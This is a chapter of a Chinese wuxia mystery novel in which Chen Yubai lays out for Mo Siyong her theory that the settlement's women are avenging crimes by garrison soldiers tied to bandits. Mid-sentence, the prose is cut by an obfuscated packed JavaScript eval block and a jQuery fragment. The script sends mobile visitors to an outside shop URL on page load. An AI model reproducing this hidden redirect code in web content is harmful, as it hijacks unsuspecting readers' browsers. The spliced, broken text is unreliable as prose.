烛照明心、月对窗棂,莫思庸先怔了怔,随即弯眉而笑,乐不可支起来。
陈语白微有错愕,全然不晓自己说错了哪字,竟使她欢声至此,头回开始认认真真反思,是否自个儿真会错了意、想岔了途,冤枉了蔡姨几人。
瞧着少年本熠熠闪烁的明眸都略生自疑,莫思庸方抬指拭了拭眼角,复又正襟危坐,余音仍存笑意:
“无事,无事,莫姨只是在想,你这孩子,咱们都说开到了此等地步,竟还要与你莫姨拐弯抹角?怎么,是怕莫姨听了伤心含糊,要袒护你蔡姨、刘婶,不告诉你真相?”
陈语白默了默。
难得她当着长辈面耍回小心思,竟便为长辈察得一干二净、半点不留,果然于亲近相熟人前,还是须和盘托出么?诚凭实说,先前她不问蔡姨、刘婶是否始作命案,反自两人与外勾连一事真假切入,一者是防直言坦问出言突兀、也不留情面,二乃忧恐莫姨许不晓其中玄机,贸然发问反透泄机密、徒添干戈。可再怎掩语粉饰,她的的确确亦另抱些话走偏锋、以免莫姨替友遮瞒之心。
思起一刹、未曾多想,不料莫思庸竟如此冰雪聪明、对她所知更远甚她想。左右莫姨已猜中隐意,为人处事亦应坦坦荡荡,陈语白收回满面哭笑不得,点了点头。
见她坦然率直,莫思庸愈增打量,愈觉欢喜。少年敏才捷虑、目洞蹊跷,三伏三九、武追名家;而况来屯不过十日不到,已能借寥寥讯息,将龚常、徐寅仁之死对上经年隐秘。既是天资出众,亦出刻苦超旁。莫思庸只稍怀想少年积载苦修,便已生出一片密密麻麻的心疼,不由又连叹了几声“好孩子”、“太像了”乃至“翁广名教得很不错”,方略止话头,为陈语白一解迷惑:
“你断得很对,莫姨还是小瞧你了。龚常、徐寅仁,甚而还要算上王嘉弘,他们几人再囊括北门常驻的那批守军,皆称不上干净,也就是如你所言的,与云贵多处的贼寇山匪保有勾连。你既也查晓了北城门那条密道,那你对当年此处因何废弃、常驻守军以及那条密道,应也有了明断吧?”
谈及正事,陈语白立时坐直身板,肃起面容:
“是。初至福泉时,我便已曾听长光言说过北城门的咄咄怪事。当年居户因厉声泣叫搬屋逃室,连钱泽峰着手查探都无甚结果,而后还因此声诡谲,唬得仅余下一支敢驻守北城门的兵队。这其实已足能生疑。”
“兼之屯内种种与今日午后,我等一众均潜藏于废止诸屋,未见有异常之处,我猜想,那所谓妇啼婴鸣的诡音,本便出自人为,且始作俑者,实难出于这队守军之中。他们是于北城门另有图谋,且难公之众,为瞒上隐下、方便动手,才想出这么个奇招。正巧,龚常三人皆是北城门常驻守军,那条不录于钱家机密的暗道,也可添以佐证。他们一众,定暗藏蹊跷。”
见莫思庸未作打断,反一面赞然、点头不绝,陈语白心中更添确信,不疾不徐、字润腔圆地接着分析:
“那日晨时,蔡姨家出事、我勉力赶赴,正巧时早人稀,得而先于收尸入棺前一睹现场。徐寅仁之亡,乍瞧与王嘉弘毫无干系,可自其死状、屋中细况能断,凶手既不为财、也罕为灭口,最适恰者,应是为了仇。我虽曾于窗棂左下见一缺角,猜似有人自此吹散迷烟;可再一转想,徐寅仁死而安祥,能知迷烟效力奇强无匹,于此屯中,除却许冬青,唯陈姨可能有此习艺。”
莫思庸点点下巴,忽而明悟一笑:
“原来今日上午,你是一箭双雕。万书急匆匆来寻言晴,说要些迷药,当时我俩只以为是少年气盛,仅为救出枉困牢狱的两个孩子,目下看来,也是你的手笔?”
“是。”
陈语白回答极快。
“许冬青此人,我曾与之交手,他善心仁厚、疏为狠辣,连赖身依命之毒,也不过是痒痒粉末、迷眼白烟,绝无储制此属迷药之想。而若还有旁人偷习医术,要凑足能配此等迷药的药材,却不借托陈姨的药馆,亦殊为难事。故而我只怀疑陈姨一人。托嘱唐姐姐向陈姨索来迷药,一是确而急需,二者是为证实陈姨身负如此本事,亦能备药配足。结果显而易见。那凶手要取此药,或而与陈姨关系亲密,或而偷偷入陈宅偷量,或正乃陈姨所为。但要真为偷得,那凶手又从何能判此是所需迷药?若是陈姨下手,她又何必再补一刀?一切证据,具指向前一种。”
眸中异彩连连,莫思庸听得入神,撑着下巴,接着作问:
“那你是怎怀疑上梨梦的?言晴性子爽利,屯内交好者不为少数。何况你也说了,有吹迷烟的痕迹,那要是有人似我般卓于轻功,趁夜动手,也能说通。”
陈语白点点头,又摇摇头,目堪火光,燃尽杂芜。
“徐寅仁生前并无仇家,要真有所交恶,仅按屯内风俗传言,早口口相告、家喻户晓。那这桩仇怨,只会起于屯外,或滋于暗处。起于屯外,福泉封闭,徐寅仁定不会死于城中;要真武功盖世,也不会等至如今动手。那就只会是滋于暗处,且功夫平平。而平常寻仇泄恨,多是通刺周身;要能一解郁愤,最好徐寅仁能觉苦楚。后者并不十足重要,人之心境多迁,凶手许埋恨多年,早无折磨之心、只求报仇雪恨;而前者却指向极为明确。不是捅刀,非为割肉,独独选择开腹,更不取脏器似为献祭诸类,唯余一种可能,凶手亲眷亦是如此死法、因徐寅仁而亡。”
思索不断,莫思庸仍是不明:
“那此与梨梦有何干系?或是有人曾告诉你,梨梦碰到过、经历过什么?”
陈语白依旧不急不慢:
“有,但也算没有。庄姐姐与我简述了蔡姨、刘婶乃至屯内半数女子的来历,不过说不上来蔡姨丈夫、孩子如何亡故的细节…其中甚而…还包括您的。”
说着,她顿了顿,特意抬眼,认认真真瞧瞩着莫思庸的神态眉目。侧手的女子本凝神静听,忽见她满面严肃、却难掩小心关切,心内熨帖、更觉可爱,满腔欢喜似湖涨水溢,再难克制地在陈语白的脸上捏了捏。
肉软皮细、触之生温,莫思庸当即爱不释手,又添几下:
“这有什么。你也说了,福泉就是这么处地界,我的过往于屯内算不得秘密,我也早已释怀,没什么提不得的,接着说就好,莫姨还等着听你分析清楚、跟着长点学问呢。”
面颊分明不疼不麻,却叫陈语白耳似火燎。她迅速收回目光,盯着燃跃不歇的烛火,勉强理清思绪:
“其实,一切在得您亲口确认前,也不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653663|202490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过是我推断自猜。您、蔡姨、刘婶,乃至许多婶婆,来历都太过相似。屯内习以为常,与我而言,却算鲜知少闻。蔡姨前位丈夫、孩子是因流寇而死;刘婶虽带着孩子定居军屯,却在龚常之子出生前战死。还有赵天诏,先前于曲家客栈中,他一个普凡军户、闭屯少出,却能先于多年剿匪追寇的章大哥,发觉店家与其中一名住客蹊跷,更大胆上与攀谈。再兼之许冬青提过,钱家与附近山匪暗存来往。我便猜想,龚常等人,是否也偷与人贩、流寇之属相与勾连。平日他们一道打劫过路、说行内代词、比暗号手势,搭伙赚足黑钱;若是有瞧中女子,便演出英雄救美的戏码,好骗入屯中、徐徐图之。蔡姨丈夫孩子许是为刀划肚而亡,那徐寅仁有此死法,实乃合乎情理。”
“原来如此…你说得不错,猜得也很不错,确实是如此。”
莫思庸喃喃出声,双目晶晶、赞叹不已,手已自识旧路,照着陈语白的面上再捏几下。此回有了前鉴,少年虽仍存些不自在,倒是莫名忆起同样乐逗疏狂的师傅,紧绷的通身亦慢吞吞松懈下来。
“来,接着继续与莫姨说说,那你也是因此觉着,龚常也是死于旁手?”
见莫思庸意犹未尽,陈语白闻歌知意、接着解释:
“对。既有此想,那刘婶的大儿子究竟是否真为意外,也须留作未决。依我猜断,刘婶虽入屯中安居、与龚常结定婚契,却应是并无再育孩子的想法,否则绝不会于长子亡故后,才另生一子。约也是因此,龚常才想出昏招,害死刘婶长子,以此趁虚而入、留己血脉。那若是刘婶往后知晓真相,定不会轻饶于他;龚常之死,也就耐为寻味了。”
“而龚常岁数已然不小,又正撞上钱泽峰的丧礼、犯触忌讳,仵作粗断为疲神老逝,只费了匆匆一日便收整下葬。就算真有疑点,也不足以细查推究。且若有医毒圣手的陈姨暗配毒药,刘婶便只需保证下毒时晚,晨间尸体尚无紫斑、瞧来无异便可。仵作为赶时间,不会严看多探;或是提前买通了仵作,亦不失为一条坦途。”
想了想,陈语白又添几句:
“今日之前,我尚觉诸此种种,仍站不稳跟脚,可恰于晨时,又有两人被发现毙于北坊废屋,也是再不能更诡谲奇特的死法。那自钱泽峰死后,可谓每一日、死几人;而军屯虽常年流有怪闻两则,却从未如此频发命案。我只能猜想,是有人趁此新旧指挥使交替、城内民心涣散之际,借着时机撼动钱氏权位,且又各出有因、多为报仇。如此巧合之事,庄姐姐、许冬青几人并未作此谋划;王符王叔今夜虽说了许多,于此桩桩件件也未提及。但若王符叔是为保护你们免于嫌疑呢?若这就是最近的事,是莫姨您十几日前,为瑾王、丈夫而盘问王嘉弘时,才听他交代了的丑事呢?”
“您斟酌之下,告与蔡姨还有陈姨、刘婶,我想应还有今早死去两位武官的妻子、许多深受其害的女子们。在查探真相期间,又逢钱泽峰过世,大伙此时相助相扶、复仇惩恶,更可一助拔出钱家势力。莫姨您所言的一箭双雕,不外如是。”
“不是所有人都会因感念瑾王,就愿于她死后赴死蹈火;但家仇亲恨,一定可以。这也是我最终下定决心、还是向您一问的缘故。只因一切一切,都太为巧合。”